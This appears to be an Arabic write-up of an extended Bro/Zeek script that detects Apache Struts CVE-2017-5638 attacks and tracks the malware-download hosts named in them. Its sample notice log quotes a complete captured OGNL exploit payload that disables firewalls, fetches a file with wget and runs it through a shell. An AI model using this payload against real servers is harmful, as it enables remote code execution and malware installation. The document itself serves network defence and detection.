CVE-2017-5638_struts

لقد قمت بتوسيع سكربت سكوت كامبل أكثر، وجعلته أكثر تعقيدًا :)

بينما سيقوم "HTTP_StrutsAttack" بإيقاف 100% من الاستطلاع، لا يزال هناك فرصة ضئيلة أنه إذا ضرب ماسح ضوئي نظامًا ضعيفًا، حتى لو قمنا بحظر الماسح، قد يقوم النظام الضعيف بتنفيذ wget المضمن في طلب HTTP وتنفيذ البرامج الضارة. نظرًا لأننا لا نقوم بحظر عنوان IP لتنزيل البرامج الضارة في رابط wget والذي يكون دائمًا تقريبًا عنوان IP مختلفًا عن عنوان IP الاستطلاع.

لذلك فإن السكربت الموسع يقوم أيضًا باستخراج عنوان IP لتنزيل البرامج الضارة.

1. قم بتوليد الإشعارات التالية:

   root@kitploit:~

    redef enum Notice::Type += {
            Attempt,
            MalwareURL,
            HostileDomainLookup,
            MalwareURLClick,
            FileDownload,
            Compromise,
    };
   

• الآن هذا السكربت سيستخرج رابط wget من Attempt، ثم إذا كان الرابط يحتوي على نطاق (أو نطاق اسم مستعار CNAME)، سيقوم السكربت بتتبع عناوين IP لمضيف البرامج الضارة ومراقبة النشاط.

• إذا تم رؤية رابط wget في HTTP، سنقوم بتوليد إشعار MalwareURLClick.

• وإشعارات إضافية لـ FileDownload و Compromise.

• هذا السكربت أيضًا موزع على الكتلة (Clusterized).

لقد قمت بتشغيله لمدة 24 ساعة وتبدو الأمور مستقرة بالنسبة للسكربت. ما زلت متأكدًا من أنه قد يكون هناك بعض الثغرات البسيطة في الكشف. لذا لا تتردد في التعديل وإخباري أيضًا.

بشكل مثير للدهشة، على عكس المرات السابقة، لا أرى حجمًا كبيرًا من ماسحات Struts. أرى حوالي 20 ماسحًا في اليوم بدلاً من حوالي 1000 في اليوم.

فيما يلي أمثلة على الإشعارات:

1489228734.171565 CbVq832QovIwAQddf2 1.24.191.108 65000 131.243.X.Y 80 - - - tcp Struts::Attempt CVE-2017-5638/Struts attack from 1.24.191.108 seen: %{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='/etc/init.d/iptables stop;service iptables stop;SuSEfirewall2 stop;reSuSEfirewall2 stop;wget -c 777 xhx;./xhx;').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} - 1.24.191.108 131.243.X.Y 80 - worker-5 Notice::ACTION_LOG 3600.000000 F - -- - -